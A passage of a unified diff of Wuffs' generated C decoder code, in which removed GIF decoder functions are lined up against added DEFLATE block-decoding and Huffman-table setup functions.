self->private_impl.p_do_decode_frame[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- if (self->private_impl.f_call_sequence == 64u) { -- } else if (self->private_impl.f_call_sequence < 64u) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_gif__decoder__do_decode_frame_config(self, NULL, a_src); -- if (status.repr) { -- goto suspend; -- } -- } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } -- if (self->private_impl.f_quirks[5u] && ((self->private_impl.f_frame_rect_x0 == self->private_impl.f_frame_rect_x1) || (self->private_impl.f_frame_rect_y0 == self->private_impl.f_frame_rect_y1))) { -- status = wuffs_base__make_status(wuffs_gif__error__bad_frame_size); -- goto exit; -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- status = wuffs_gif__decoder__decode_id_part1(self, a_dst, a_src, a_blend); -- if (status.repr) { -- goto suspend; -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- status = wuffs_gif__decoder__decode_id_part2(self, a_dst, a_src, a_workbuf); -- if (status.repr) { -- goto suspend; -- } -- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); -- wuffs_gif__decoder__reset_gc(self); -- self->private_impl.f_call_sequence = 32u; -- -- ok: -- self->private_impl.p_do_decode_frame[0] = 0; -- goto exit; -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); - } - -- goto suspend; -- suspend: -- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: - return status; - } - --// -------- func gif.decoder.reset_gc -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_gif__decoder__reset_gc( -- wuffs_gif__decoder* self) { -- self->private_impl.f_gc_has_transparent_index = false; -- self->private_impl.f_gc_transparent_index = 0u; -- self->private_impl.f_gc_disposal = 0u; -- self->private_impl.f_gc_duration = 0u; -- return wuffs_base__make_empty_struct(); --} -- --// -------- func gif.decoder.decode_up_to_id_part1 -+// -------- func deflate.decoder.decode_blocks - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_gif__decoder__decode_up_to_id_part1( -- wuffs_gif__decoder* self, -+wuffs_deflate__decoder__decode_blocks( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_block_type = 0; -+ uint32_t v_final = 0; -+ uint32_t v_b0 = 0; -+ uint32_t v_type = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -37741,71 +38791,125 @@ wuffs_gif__decoder__decode_up_to_id_part1( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_up_to_id_part1[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_blocks; -+ if (coro_susp_point) { -+ v_final = self->private_data.s_decode_blocks.v_final; -+ } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if ((self->private_impl.f_frame_config_io_position == 0u) || (self->private_impl.f_num_decoded_frame_configs_value > 0u)) { -- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -- } -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ label__outer__continue:; -+ while (v_final == 0u) { -+ while (self->private_impl.f_n_bits < 3u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint32_t t_0 = *iop_a_src++; -+ v_b0 = t_0; - } -- uint8_t t_0 = *iop_a_src++; -- v_block_type = t_0; -+ self->private_impl.f_bits |= (v_b0 << (self->private_impl.f_n_bits & 3u)); -+ self->private_impl.f_n_bits = ((self->private_impl.f_n_bits & 3u) + 8u); - } -- if (v_block_type == 33u) { -+ v_final = (self->private_impl.f_bits & 1u); -+ v_type = ((self->private_impl.f_bits >> 1u) & 3u); -+ self->private_impl.f_bits >>= 3u; -+ self->private_impl.f_n_bits -= 3u; -+ if (v_type == 0u) { - if (a_src) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- status = wuffs_gif__decoder__decode_extension(self, a_src); -+ status = wuffs_deflate__decoder__decode_uncompressed(self, a_dst, a_src); - if (a_src) { - iop_a_src = a_src->data.ptr + a_src->meta.ri; - } - if (status.repr) { - goto suspend; - } -- } else if (v_block_type == 44u) { -- if (self->private_impl.f_delayed_num_decoded_frames) { -- self->private_impl.f_delayed_num_decoded_frames = false; -- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); -+ continue; -+ } else if (v_type == 1u) { -+ v_status = wuffs_deflate__decoder__init_fixed_huffman(self); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; - } -+ } else if (v_type == 2u) { - if (a_src) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- status = wuffs_gif__decoder__decode_id_part0(self, a_src); -+ status = wuffs_deflate__decoder__init_dynamic_huffman(self, a_src); - if (a_src) { - iop_a_src = a_src->data.ptr + a_src->meta.ri; - } - if (status.repr) { - goto suspend; - } -- break; - } else { -- if (self->private_impl.f_delayed_num_decoded_frames) { -- self->private_impl.f_delayed_num_decoded_frames = false; -- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_block); -+ goto exit; -+ } -+ self->private_impl.f_end_of_block = false; -+ while (true) { -+ if (sizeof(void*) == 4u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ v_status = wuffs_deflate__decoder__decode_huffman_fast32(self, a_dst, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } else { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ v_status = wuffs_deflate__decoder__decode_huffman_fast64(self, a_dst, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ if (wuffs_base__status__is_error(&v_status)) { -+ status = v_status; -+ goto exit; -+ } -+ if (self->private_impl.f_end_of_block) { -+ goto label__outer__continue; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ status = wuffs_deflate__decoder__decode_huffman_slow(self, a_dst, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ if (self->private_impl.f_end_of_block) { -+ goto label__outer__continue; - } -- self->private_impl.f_call_sequence = 96u; -- break; - } - } - -- goto ok; - ok: -- self->private_impl.p_decode_up_to_id_part1[0] = 0; -+ self->private_impl.p_decode_blocks = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_up_to_id_part1[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_decode_blocks = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_blocks.v_final = v_final; - - goto exit; - exit: -@@ -37816,18 +38920,32 @@ wuffs_gif__decoder__decode_up_to_id_part1( - return status; - } - --// -------- func gif.decoder.decode_header -+// -------- func deflate.decoder.decode_uncompressed - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_gif__decoder__decode_header( -- wuffs_gif__decoder* self, -+wuffs_deflate__decoder__decode_uncompressed( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_c[6] = {0}; -- uint32_t v_i = 0; -+ uint32_t v_length = 0; -+ uint32_t v_n_copied = 0; - -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -37839,50 +38957,85 @@ wuffs_gif__decoder__decode_header( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_header[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_uncompressed; - if (coro_susp_point) { -- memcpy(v_c, self->private_data.s_decode_header[0].v_c, sizeof(v_c)); -- v_i = self->private_data.s_decode_header[0].v_i; -+ v_length = self->private_data.s_decode_uncompressed.v_length; - } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- while (v_i < 6u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_n_bits = 0u; -+ self->private_impl.f_bits = 0u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_uncompressed.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_uncompressed.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 24) { -+ t_0 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; - } -- uint8_t t_0 = *iop_a_src++; -- v_c[v_i] = t_0; - } -- v_i += 1u; -+ v_length = t_0; - } -- if ((v_c[0u] != 71u) || -- (v_c[1u] != 73u) || -- (v_c[2u] != 70u) || -- (v_c[3u] != 56u) || -- ((v_c[4u] != 55u) && (v_c[4u] != 57u)) || -- (v_c[5u] != 97u)) { -- status = wuffs_base__make_status(wuffs_gif__error__bad_header); -+ if ((((v_length) & 0xFFFFu) + ((v_length) >> (32u - 16u))) != 65535u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__inconsistent_stored_block_length); - goto exit; - } -+ v_length = ((v_length) & 0xFFFFu); -+ while (true) { -+ v_n_copied = wuffs_private_impl__io_writer__limited_copy_u32_from_reader( -+ &iop_a_dst, io2_a_dst,v_length, &iop_a_src, io2_a_src); -+ if (v_length <= v_n_copied) { -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } -+ v_length -= v_n_copied; -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) == 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -+ } else { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -+ } -+ } - -- goto ok; - ok: -- self->private_impl.p_decode_header[0] = 0; -+ self->private_impl.p_decode_uncompressed = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_header[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- memcpy(self->private_data.s_decode_header[0].v_c, v_c, sizeof(v_c)); -- self->private_data.s_decode_header[0].v_i = v_i; -+ self->private_impl.p_decode_uncompressed = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_uncompressed.v_length = v_length; - - goto exit; - exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } - if (a_src && a_src->data.ptr) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -@@ -37890,21 +39043,80 @@ wuffs_gif__decoder__decode_header( - return status; - } - --// -------- func gif.decoder.decode_lsd -+// -------- func deflate.decoder.init_fixed_huffman - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_gif__decoder__decode_lsd( -- wuffs_gif__decoder* self, -+wuffs_deflate__decoder__init_fixed_huffman( -+ wuffs_deflate__decoder* self) { -+ uint32_t v_i = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ while (v_i < 144u) { -+ self->private_data.f_code_lengths[v_i] = 8u; -+ v_i += 1u; -+ } -+ while (v_i < 256u) { -+ self->private_data.f_code_lengths[v_i] = 9u; -+ v_i += 1u; -+ } -+ while (v_i < 280u) { -+ self->private_data.f_code_lengths[v_i] = 7u; -+ v_i += 1u; -+ } -+ while (v_i < 288u) { -+ self->private_data.f_code_lengths[v_i] = 8u; -+ v_i += 1u; -+ } -+ while (v_i < 320u) { -+ self->private_data.f_code_lengths[v_i] = 5u; -+ v_i += 1u; -+ } -+ v_status = wuffs_deflate__decoder__init_huff(self, -+ 0u, -+ 0u, -+ 288u, -+ 257u); -+ if (wuffs_base__status__is_error(&v_status)) { -+ return v_status; -+ } -+ v_status = wuffs_deflate__decoder__init_huff(self, -+ 1u, -+ 288u, -+ 320u, -+ 0u); -+ if (wuffs_base__status__is_error(&v_status)) { -+ return v_status; -+ } -+ return wuffs_base__make_status(NULL); -+} -+ -+// -------- func deflate.decoder.init_dynamic_huffman -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_deflate__decoder__init_dynamic_huffman( -+ wuffs_deflate__decoder* self, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_flags = 0; -- uint8_t v_background_color_index = 0; -- uint32_t v_num_palette_entries = 0; -+ uint32_t v_bits = 0; -+ uint32_t v_n_bits = 0; -+ uint32_t v_b0 = 0; -+ uint32_t v_n_lit = 0; -+ uint32_t v_n_dist = 0; -+ uint32_t v_n_clen = 0; - uint32_t v_i = 0; -- uint32_t v_j = 0; -- uint32_t v_argb = 0; -+ uint32_t v_b1 = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ uint32_t v_mask = 0; -+ uint32_t v_table_entry = 0; -+ uint32_t v_table_entry_n_bits = 0; -+ uint32_t v_b2 = 0; -+ uint32_t v_n_extra_bits = 0; -+ uint8_t v_rep_symbol = 0; -+ uint32_t v_rep_count = 0; -+ uint32_t v_b3 = 0; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -37917,172 +39129,215 @@ wuffs_gif__decoder__decode_lsd( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_lsd[0]; -+ uint32_t coro_susp_point = self->private_impl.p_init_dynamic_huffman; - if (coro_susp_point) { -- v_flags = self->private_data.s_decode_lsd[0].v_flags; -- v_background_color_index = self->private_data.s_decode_lsd[0].v_background_color_index; -- v_num_palette_entries = self->private_data.s_decode_lsd[0].v_num_palette_entries; -- v_i = self->private_data.s_decode_lsd[0].v_i; -+ v_bits = self->private_data.s_init_dynamic_huffman.v_bits; -+ v_n_bits = self->private_data.s_init_dynamic_huffman.v_n_bits; -+ v_n_lit = self->private_data.s_init_dynamic_huffman.v_n_lit; -+ v_n_dist = self->private_data.s_init_dynamic_huffman.v_n_dist; -+ v_n_clen = self->private_data.s_init_dynamic_huffman.v_n_clen; -+ v_i = self->private_data.s_init_dynamic_huffman.v_i; -+ v_mask = self->private_data.s_init_dynamic_huffman.v_mask; -+ v_n_extra_bits = self->private_data.s_init_dynamic_huffman.v_n_extra_bits; -+ v_rep_symbol = self->private_data.s_init_dynamic_huffman.v_rep_symbol; -+ v_rep_count = self->private_data.s_init_dynamic_huffman.v_rep_count; - } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint32_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_decode_lsd[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -+ v_bits = self->private_impl.f_bits; -+ v_n_bits = self->private_impl.f_n_bits; -+ while (v_n_bits < 14u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint32_t t_0 = *iop_a_src++; -+ v_b0 = t_0; -+ } -+ v_bits |= (v_b0 << v_n_bits); -+ v_n_bits += 8u; -+ } -+ v_n_lit = (((v_bits) & 0x1Fu) + 257u); -+ if (v_n_lit > 286u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_literal_length_code_count); -+ goto exit; -+ } -+ v_bits >>= 5u; -+ v_n_dist = (((v_bits) & 0x1Fu) + 1u); -+ if (v_n_dist > 30u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance_code_count); -+ goto exit; -+ } -+ v_bits >>= 5u; -+ v_n_clen = (((v_bits) & 0xFu) + 4u); -+ v_bits >>= 4u; -+ v_n_bits -= 14u; -+ v_i = 0u; -+ while (v_i < v_n_clen) { -+ while (v_n_bits < 3u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_decode_lsd[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -- if (num_bits_0 == 8) { -- t_0 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)) << 56; -+ uint32_t t_1 = *iop_a_src++; -+ v_b1 = t_1; - } -+ v_bits |= (v_b1 << v_n_bits); -+ v_n_bits += 8u; - } -- self->private_impl.f_width = t_0; -+ self->private_data.f_code_lengths[WUFFS_DEFLATE__CODE_ORDER[v_i]] = ((uint8_t)((v_bits & 7u))); -+ v_bits >>= 3u; -+ v_n_bits -= 3u; -+ v_i += 1u; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- uint32_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_decode_lsd[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- while (true) { -+ while (v_i < 19u) { -+ self->private_data.f_code_lengths[WUFFS_DEFLATE__CODE_ORDER[v_i]] = 0u; -+ v_i += 1u; -+ } -+ v_status = wuffs_deflate__decoder__init_huff(self, -+ 0u, -+ 0u, -+ 19u, -+ 4095u); -+ if (wuffs_base__status__is_error(&v_status)) { -+ status = v_status; -+ goto exit; -+ } -+ v_mask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); -+ v_i = 0u; -+ while (v_i < (v_n_lit + v_n_dist)) { -+ while (true) { -+ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_mask)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ if (v_n_bits >= v_table_entry_n_bits) { -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ break; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_decode_lsd[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -- if (num_bits_1 == 8) { -- t_1 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)) << 56; -+ uint32_t t_2 = *iop_a_src++; -+ v_b2 = t_2; - } -+ v_bits |= (v_b2 << v_n_bits); -+ v_n_bits += 8u; - } -- self->private_impl.f_height = t_1; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ if ((v_table_entry >> 24u) != 128u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; - } -- uint8_t t_2 = *iop_a_src++; -- v_flags = t_2; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ v_table_entry = ((v_table_entry >> 8u) & 255u); -+ if (v_table_entry < 16u) { -+ self->private_data.f_code_lengths[v_i] = ((uint8_t)(v_table_entry)); -+ v_i += 1u; -+ continue; - } -- uint8_t t_3 = *iop_a_src++; -- v_background_color_index = t_3; -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src++; -- v_i = 0u; -- self->private_impl.f_has_global_palette = ((v_flags & 128u) != 0u); -- if (self->private_impl.f_has_global_palette) { -- v_num_palette_entries = (((uint32_t)(1u)) << (1u + (v_flags & 7u))); -- while (v_i < v_num_palette_entries) { -+ v_n_extra_bits = 0u; -+ v_rep_symbol = 0u; -+ v_rep_count = 0u; -+ if (v_table_entry == 16u) { -+ v_n_extra_bits = 2u; -+ if (v_i <= 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_repetition); -+ goto exit; -+ } -+ v_rep_symbol = ((uint8_t)(self->private_data.f_code_lengths[(v_i - 1u)] & 15u)); -+ v_rep_count = 3u; -+ } else if (v_table_entry == 17u) { -+ v_n_extra_bits = 3u; -+ v_rep_symbol = 0u; -+ v_rep_count = 3u; -+ } else if (v_table_entry == 18u) { -+ v_n_extra_bits = 7u; -+ v_rep_symbol = 0u; -+ v_rep_count = 11u; -+ } else { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; -+ } -+ while (v_n_bits < v_n_extra_bits) { - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- uint32_t t_4; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { -- t_4 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); -- iop_a_src += 3; -- } else { -- self->private_data.s_decode_lsd[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_lsd[0].scratch; -- uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); -- if (num_bits_4 == 16) { -- t_4 = ((uint32_t)(*scratch >> 40)); -- break; -- } -- num_bits_4 += 8u; -- *scratch |= ((uint64_t)(num_bits_4)); -- } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- v_argb = t_4; -+ uint32_t t_3 = *iop_a_src++; -+ v_b3 = t_3; - } -- v_argb |= 4278190080u; -- self->private_data.f_palettes[0u][((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); -- self->private_data.f_palettes[0u][((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); -- self->private_data.f_palettes[0u][((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); -- self->private_data.f_palettes[0u][((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); -- v_i += 1u; -+ v_bits |= (v_b3 << v_n_bits); -+ v_n_bits += 8u; - } -- if (self->private_impl.f_quirks[2u]) { -- if ((v_background_color_index != 0u) && (((uint32_t)(v_background_color_index)) < v_num_palette_entries)) { -- v_j = (4u * ((uint32_t)(v_background_color_index))); -- self->private_impl.f_background_color_u32_argb_premul = ((((uint32_t)(self->private_data.f_palettes[0u][(v_j + 0u)])) << 0u) | -- (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 1u)])) << 8u) | -- (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 2u)])) << 16u) | -- (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 3u)])) << 24u)); -- } else { -- self->private_impl.f_background_color_u32_argb_premul = 77u; -+ v_rep_count += ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_n_extra_bits)); -+ v_bits >>= v_n_extra_bits; -+ v_n_bits -= v_n_extra_bits; -+ while (v_rep_count > 0u) { -+ if (v_i >= (v_n_lit + v_n_dist)) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_count); -+ goto exit; - } -+ self->private_data.f_code_lengths[v_i] = v_rep_symbol; -+ v_i += 1u; -+ v_rep_count -= 1u; - } - } -- while (v_i < 256u) { -- self->private_data.f_palettes[0u][((4u * v_i) + 0u)] = 0u; -- self->private_data.f_palettes[0u][((4u * v_i) + 1u)] = 0u; -- self->private_data.f_palettes[0u][((4u * v_i) + 2u)] = 0u; -- self->private_data.f_palettes[0u][((4u * v_i) + 3u)] = 255u; -- v_i += 1u; -+ if (v_i != (v_n_lit + v_n_dist)) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_count); -+ goto exit; -+ } -+ if (self->private_data.f_code_lengths[256u] == 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__missing_end_of_block_code); -+ goto exit; -+ } -+ v_status = wuffs_deflate__decoder__init_huff(self, -+ 0u, -+ 0u, -+ v_n_lit, -+ 257u); -+ if (wuffs_base__status__is_error(&v_status)) { -+ status = v_status; -+ goto exit; -+ } -+ v_status = wuffs_deflate__decoder__init_huff(self, -+ 1u, -+ v_n_lit, -+ (v_n_lit + v_n_dist), -+ 0u); -+ if (wuffs_base__status__is_error(&v_status)) { -+ status = v_status; -+ goto exit; - } -+ self->private_impl.f_bits = v_bits; -+ self->private_impl.f_n_bits = v_n_bits; - - goto ok; - ok: -- self->private_impl.p_decode_lsd[0] = 0; -+ self->private_impl.p_init_dynamic_huffman = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_lsd[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- 